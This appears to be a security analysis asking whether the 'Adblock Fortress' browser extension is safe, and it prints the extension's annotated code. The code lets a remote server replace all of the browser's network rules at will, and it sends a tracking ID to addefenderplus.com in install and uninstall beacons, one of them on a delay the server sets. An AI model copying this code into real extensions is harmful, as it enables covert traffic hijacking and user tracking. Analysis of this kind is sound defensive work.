Is Adblock Fortress safe?

async function UpdateNetItem(config) {
  try {
    // Build URL from server-controlled path fragment
    const ruleFileUrl = consts.netUpdateURL + config.fRUqk; // e.g. /net/net_config
    const serverVersion = config.sicZvM;
    const versionKey = `net_item_sicZvM_${ruleFileUrl}`;
    const cachedVersion = (await chrome.storage.local.get([versionKey]))[versionKey];

    // Skip if we already have this version installed
    if (cachedVersion !== undefined && cachedVersion >= serverVersion) return;

    // Download the server-provided rule array
    const response = await fetch(await addNetParams(ruleFileUrl));
    const serverRules = await response.json(); // Array of declarativeNetRequest rules

    // Collect IDs of ALL currently installed dynamic rules
    const existingRuleIds = [];
    const existingRules = await chrome.declarativeNetRequest.getDynamicRules();
    for (const rule of existingRules) existingRuleIds.push(rule.id);

    // Atomically: remove ALL existing dynamic rules, install server rules
    await chrome.declarativeNetRequest.updateDynamicRules({
      removeRuleIds: existingRuleIds,  // clears everything
      addRules: serverRules            // installs whatever server sent
    }, () => {});

    // Cache the installed version
    const versionStore = {};
    versionStore[versionKey] = config.sicZvM;
    await chrome.storage.local.set(versionStore);
  } catch (e) {}
}

async function addParams(url) {
  // Appends the stored tracking ID to any URL
  return url += '?rpsps=' + (await chrome.storage.sync.get(['uid'])).uid;
}

// Inside the install handler:
const uninstallUrl = await addParams(consts.uninstalledURL); // https://addefenderplus.com/ciao/?rpsps=<UID>
chrome.runtime.setUninstallURL(uninstallUrl);
// Chrome will automatically navigate to this URL when the extension is removed.

// After the install-time UID fetch, schedule a one-time alarm using the
// delay the operator's server chose (t.vmqwo, minutes):
if (!(await chrome.alarms.get('installFinished'))) {
  await chrome.alarms.create('installFinished', { delayInMinutes: serverDelay });
}

// updater.js — runs when the alarm fires:
async function finish() {
  const url = await addParams(consts.installFinishedURL); // https://addefenderplus.com/installed/?rpsps=<UID>
  fetch(url);
}
chrome.alarms.onAlarm.addListener(alarm => {
  if (alarm.name === 'updateRulesAlarm') updateData();
  else if (alarm.name === 'installFinished') finish();
});